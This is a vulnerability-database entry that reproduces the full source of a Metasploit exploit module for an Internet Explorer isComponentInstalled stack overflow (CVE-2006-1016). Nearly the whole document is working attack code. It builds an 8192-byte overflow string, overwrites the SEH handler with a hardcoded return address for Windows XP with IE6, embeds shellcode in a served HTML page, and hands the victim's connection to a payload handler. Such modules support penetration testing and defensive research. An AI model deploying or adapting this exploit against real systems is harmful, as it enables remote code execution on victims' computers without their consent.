Internet Explorer isComponentInstalled Overflow

🗓️ 01 Jul 2014 00:00:00Reported by RootType
Internet Explorer isComponentInstalled Overflo

                                                ##
# $Id: ie_iscomponentinstalled.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require &#39;msf/core&#39;

class Metasploit3 &#60; Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Seh
	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			&#39;Name&#39;           =&#62; &#39;Internet Explorer isComponentInstalled Overflow&#39;,
			&#39;Description&#39;    =&#62; %q{
					This module exploits a stack buffer overflow in Internet Explorer. This bug was
				patched in Windows 2000 SP4 and Windows XP SP1 according to MSRC.
			},
			&#39;License&#39;        =&#62; MSF_LICENSE,
			&#39;Author&#39;         =&#62;
				[
					&#39;hdm&#39;,
				],
			&#39;Version&#39;        =&#62; &#39;$Revision: 9262 $&#39;,
			&#39;References&#39;     =&#62;
				[
					[ &#39;CVE&#39;, &#39;2006-1016&#39; ],
					[ &#39;OSVDB&#39;, &#39;31647&#39; ],
					[ &#39;BID&#39;, &#39;16870&#39; ],
				],
			&#39;Payload&#39;        =&#62;
				{
					&#39;Space&#39;          =&#62; 512,
					&#39;BadChars&#39;       =&#62; &#34;\x00\x5c\x0a\x0d\x22&#34;,
					&#39;StackAdjustment&#39; =&#62; -3500,
				},
			&#39;Platform&#39;       =&#62; &#39;win&#39;,
			&#39;Targets&#39;        =&#62;
				[
					[&#39;Windows XP SP0 with Internet Explorer 6.0&#39;, { &#39;Ret&#39; =&#62;  0x71ab8e4a } ]
				],
			&#39;DefaultTarget&#39;  =&#62; 0,
			&#39;DisclosureDate&#39; =&#62; &#39;Feb 24 2006&#39;))
	end

	def on_request_uri(cli, request)

		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)

		# Create the overflow string
		pattern = rand_text_alpha(8192)

		# Smash the return address with a bogus pointer
		pattern[744, 4] = [0xffffffff].pack(&#39;V&#39;)

		# Handle the exception :-)
		seh = generate_seh_payload(target.ret)
		pattern[6439, seh.length] = seh


		# Build out the HTML response page
		var_client = rand_text_alpha(rand(30)+2)
		var_html   = rand_text_alpha(rand(30)+2)

		content = %Q|
&#60;html&#62;
&#60;head&#62;
	&#60;script&#62;
		function window.onload() {
			#{var_client}.style.behavior = &#34;url(#default#clientCaps)&#34;;
			#{var_client}.isComponentInstalled( &#34;__pattern__&#34; ,  &#34;componentid&#34; );
		}
	&#60;/script&#62;
&#60;/head&#62;
&#60;body id=&#34;#{var_client}&#34;&#62;
#{var_html}
&#60;/body&#62;
&#60;/html&#62;
		|

		content = Rex::Text.randomize_space(content)

		# Insert the shellcode
		content.gsub!(&#39;__pattern__&#39;, pattern)

		print_status(&#34;Sending exploit to #{cli.peerhost}:#{cli.peerport}...&#34;)

		# Transmit the response to the client
		send_response_html(cli, content)

		# Handle the payload
		handler(cli)
	end

end
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1